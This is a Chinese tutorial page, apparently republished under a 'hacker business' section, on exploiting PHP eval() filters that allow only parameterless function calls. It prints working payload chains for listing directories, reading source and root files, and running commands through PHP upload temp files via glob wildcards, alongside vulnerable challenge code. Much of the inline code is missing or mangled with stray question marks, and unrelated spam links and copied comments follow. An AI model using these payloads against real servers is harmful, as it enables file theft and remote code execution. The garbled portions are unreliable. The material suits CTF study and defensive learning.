当前位置:首页 > 黑客业务 > 正文内容

php rce之无参数读文件

访客3年前 (2021-04-15)黑客业务451

一、什么是无参数?

就是使用函数的时候不能带有参数。

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

所以我们要使用无参数的函数进行文件读取或者命令执行。

二、无参数文件读取

  • 查看当前目录文件名

    通常,可以使用 查看当前目录下所有文件,以数组的形式输出。


  • 但是要怎么构造参数里这个点呢。

    • localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是

      https://www.w3school.com.cn/php/func_string_localeconv.asp


    • current() 返回数组中的单元,默认第一个值。

      所以我们输出 也会如同 打印当前目录下文件名。

    • 使用 ,pos是current的别名

    • 函数将内部指针指向数组中的第一个元素,并输出。

      相关的方法:

      • current()- 返回数组中的当前元素的值

      • end()- 将内部指针指向数组中的最后一个元素,并输出

      • next()- 将内部指针指向数组中的下一个元素,并输出

      • prev()- 将内部指针指向数组中的上一个元素,并输出

      • each()- 返回当前元素的键名和键值,并将内部指针向前移动


      所以我们现在要构造 的参数。

      就是字符 .所以我们需要构造 46 .

      chr(rand()) ? # 需要看运气。。。不现实
      char(time())
      char(current(localtime(time())))
      • chr() 函数以256为一个周期,所以 等都等于

        所以使用chr(time()) 一个周期必能出现一次。

      • 以数值数组和关联数组的形式输出本地时间:

        关联数组的键名如下:

        • [tm_sec] - 秒数

        • [tm_min] - 分钟数

        • [tm_hour] - 小时

        • [tm_mday] - 月份中的第几天

        • [tm_mon] - 年份中的第几个月,从 0 开始表示一月份

        • [tm_year] - 年份,从 1900 开始

        • [tm_wday] - 星期中的第几天 (Sunday=0)

        • [tm_yday] - 年中的第几天

        • [tm_isdst] - 夏令时当前是否生效

        数组第一个值每秒加 1 ,所以最多 60 秒之内就可以得到 46 .然后用 函数即可获得 第一位键值。再利用 chr() 函数就可以完美获得

    • 返回 PHP 版本,例如 5.4.45

      floor(phpversion()) 返回 5

      sqrt(floor(phpversion())) 返回 2.2360679774998

      tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

      cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

      sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

      ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

      chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."


    • 返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

      hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流。同时,把新行( )转换为

      hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符/

      ord()返回字符串中第一个字符的Ascii

      多试几次。


    • 也可以得到".",只不过的点出现在最后一个字符,需要使用逆序,然后使用chr(ord())获取第一个字符.


      print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
    • 绝对路径

      正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名。

      获取绝对路径可用的有


      所以我们还可以用输出当前文件夹所有文件名.


      读取当前目录文件

      通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

      前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

      • end()- 将数组的内部指针指向最后一个单元

      • key()- 从关联数组中取得键名

      • each()- 返回数组中当前的键/值对并将数组指针向前移动一步

      • prev()- 将数组的内部指针倒回一位

      • reset()- 将数组的内部指针指向第一个单元

      • next()- 将数组中的内部指针向前移动一位

      如果要获取最后一个文件内容,我们可以:

      show_source(end(scandir(getcwd())));
      # 或者使用其他函数
      readfile
      highlight_file
      file_get_contents
      readgzfile() ? ?# 也可读文件,常用于绕过过滤

      报错 原因:PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件。

      array_reverse() 以相反的元素顺序返回数组

      本来在最后一位的文件可以反过来放第一位读取。

      show_source(current(array_reverse(scandir(getcwd()))));

      如果是倒数第二个我们可以用:

      readfile(next(array_reverse(scandir(getcwd()))));

      我想着还可以继续用 结果不行。

      那么如何读取其他文件

      • array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。

      • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

      我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。

      readfile(array_rand(array_flip(scandir(getcwd()))));
      readfile(array_rand(array_flip(scandir(current(localeconve())))));


      如果目标文件不在当前目录呢?

      • dirname() :返回路径中的目录部分,


        从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

      • chdir() :改变当前工作目录

        print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
      • 构造".."

        print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取

        print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

        结合上文的一些构造都是可以获得".."的 :

        next(scandir(chr(ord(hebrevc(crypt(time()))))))
      • 读取上级目录文件

        直接 是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:

        show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

        如果不能使用dirname(),可以使用构造".."的方式切换路径并读取:

        但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

        show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
        或更复杂的:
        show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
        还可以用:
        show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

        还有:

        if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
      • 查看和读取根目录文件

        print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

        strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件.

        但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功.

        if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
        ?
        if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

    利用通配符临时文件

    <?php
    if(isset($_GET['code'])){
    ?$code=$_GET['code'];
    ?if(strlen($code)>35){
    ? ? ?die("Long.");
    }
    ?if(preg_match("/[A-Za-z0-9_$]+/",$code)){
    ? ? ?die("NO.");
    }
    ?eval($code);
    }else{
    ?highlight_file(__FILE__);
    }

    因为不能使用了,所以我们无法构造PHP中的变量。

    如何利用无字母、数字、的系统命令来getshell?

  • shell下可以利用来执行任意脚本

  • Linux文件名支持用glob通配符代替

  • 或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则的意思就是用bash执行file文件中的命令。

    执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用来执行它了吗?

    这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是,文件名最后6个字符是随机的大小写字母。

    第二个难题接踵而至,执行,也是有字母的。此时就可以用到Linux下的glob通配符:

    • 可以代替0个及以上任意字符

    • 可以代表1个任意字符

    那么,就可以表示为

    能够匹配上这个通配符的文件有很多.

    大部分同学对于通配符,可能知道的都只有.

    其中,glob支持用的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉一些干扰选项。

    就跟正则表达式类似,glob支持利用来表示一个范围。

    所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

    翻开ascii码表,可见大写字母位于之间:


    那么,我们可以利用来表示大写字母:

    构造 poc ,执行任意命令。

    当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

    最后,我传入的code为,发送数据包如下:

    #!/bin/sh
    ?
    ls


    三、无参数命令执行(RCE)

    我们可以使用无参数函数任意读文件,也可以执行命令。

    ?<?php
    ?if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { ? ?
    ? ? ?eval($_GET['code']);
    } else{
    ? ? ?show_source(__FILE__);
    }
    ?

    我们传入一个参数,然后经过正则替换后剩余 分号 方可执行我们的payload.

    代码非常清晰,首先

    preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

    代码会将$_GET['code']中满足正则/\W+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于;如果满足,则执行

    eval($_GET['code']);

    否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE

    [^\W]+\((?R)?\)

    首先是对于\W,其意思等价于那么我们知道,我们的input必须以此开头然后是括号匹配

    \( ...... \)

    括号中间为

    (?R)?

    意思为重复整个模式简单理解,我们可以输入以下类型

    a(b(c()))

    但我们不能加参数,否则将无法匹配,正则替换掉其他之后,甚于的不是只有分号,所以不强等于 左边的

    a(c,d)

    所以正则看完,题目的意思非常明确了:我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;。

    既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

    3.1 getenv()

    查阅php手册,有非常多的超全局变量

    $GLOBALS
    $_SERVER
    $_GET
    $_POST
    $_FILES
    $_COOKIE
    $_SESSION
    $_REQUEST
    $_ENV

    我们可以使用,对应函数为

    • getenv — 获取一个环境变量的值

    首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers。

    参考:

    https://www.freebuf.com/articles/system/242482.html

    https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

    https://blog.csdn.net/qq_38154820/article/details/106329976

    扫描二维码推送至手机访问。

    版权声明:本文由黑客接单发布,如需转载请注明出处。

    本文链接:http://therlest.com/106611.html

    分享给朋友:

    “php rce之无参数读文件” 的相关文章

    宜家自助餐多少钱一位 「天津宜家自助餐多少钱」

    食材的流转等息息相关的,白堤路店,就不用付钱了。吃完了,不像别的自助沙拉酱都兑了N多的水!其他」的也是10多块20块一份。鞍山西道,你绝对吃不腻。 举荐菜:当然是面啦!海鲜、你去尝尝吧。 举荐蔡:特色鸡串,金汉斯南美多少烤肉,腌好的肉和没腌的肉都有,200元一位,宜家家居,宜家2楼那个不是自助餐厅,...

    书黑客,黑客软件破解吃鸡,网站黑客攻击工具

    关于较新版别的Windbg,官网已不再支撑独自下载,只能经过Windows SDK里边勾选来装置,不过装置之后Redist目录会有x64/x86/arm的装置包,也可独立装置。 此次评选活动的意图在于,在安全社区中宣扬这些技能,让职业进步对安全的注重,一起也能让这些技能能遭到认可和铭记。 因而,根据...

    intense靶场-获取User权限

    出品|MS08067实验室(www.ms08067.com) 本文作者:jokelove(Ms08067内网安全小组成员) Intense是HTB中一个难度中上的靶场,需要参与者具备下述能力: 1. Python源码审计 2. SQL注入原理 3. SNMP远程命令执行 4. 栈溢出...

    关注主播不迷路顺口溜「经验」

    主播聊天话术900句(关注主播不迷路顺口溜) 在日常生活中,我们能看到会说话的人总能受到更多人的欢迎,会说话的人,左右逢源,如鱼得水;不会说话的人,处处受限,寸步难行。而在直播行业,更需要会说话,直播间是一个主动的单项输出,主播输出了才能有更多的回应,隔着屏幕,输出内容能否得到回应,这更是对所有主...

    西湖论剑 Flagshop 分析复现

    本文首发于“合天智汇”公众号 作者:xiaoleung title: 西湖论剑 Flagshop 分析复现 date: 2020-10-13 13:12:04 tags: CTF 本文推荐实验 PWN综合练习(三) 实验:PWN综合练习(三)(合天网安实验室) CTF PWN进阶训练实...

    天气冷注意保暖的句子 天气冷注意保暖的问候语

    气温逐渐转冷,能够根据朋友圈说说的方式提示亲戚朋友注意保暖,或是给老人发短信问候语,立即的增加衣服留意身心健康,产生天冷注意保暖的语句。 天冷注意保暖的问侯 1. 冬季那麼冷,我想要一个溫暖的被子,不容易断开连接的wifi,再再加上吃剩的零食,假如这种都不能,那是否可以使给我一个你。 2. 冬...

    评论列表

    笙沉语酌
    2年前 (2022-06-19)

    )?)/的部分,替换为空,然后查看是否剩下的部分强等于;如果满足,则执行eval($_GET['code']);否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE[^\W]+\((?R)?\)首先是对于\W,其意思等价于。那么我们知道,我们的input必须以此开头然后是括号匹配\(

    听弧寄认
    2年前 (2022-06-19)

    方式切换路径并读取:但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))show_source(array_rand(array

    美咩榆西
    2年前 (2022-06-19)

    __FILE__); } ? 我们传入一个参数,然后经过正则替换后剩余 分号 方可执行我们的payload.代码非常清晰,首先preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])代码会将$_GET['code']中满足正则/\W+((?R

    孤鱼时窥
    2年前 (2022-06-19)

    ndir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定

    边侣方且
    2年前 (2022-06-18)

    最后一位的文件可以反过来放第一位读取。show_source(current(array_reverse(scandir(getcwd()))));如果是倒数第二个我们可以用:readfile(ne

    发表评论

    访客

    ◎欢迎参与讨论,请在这里发表您的看法和观点。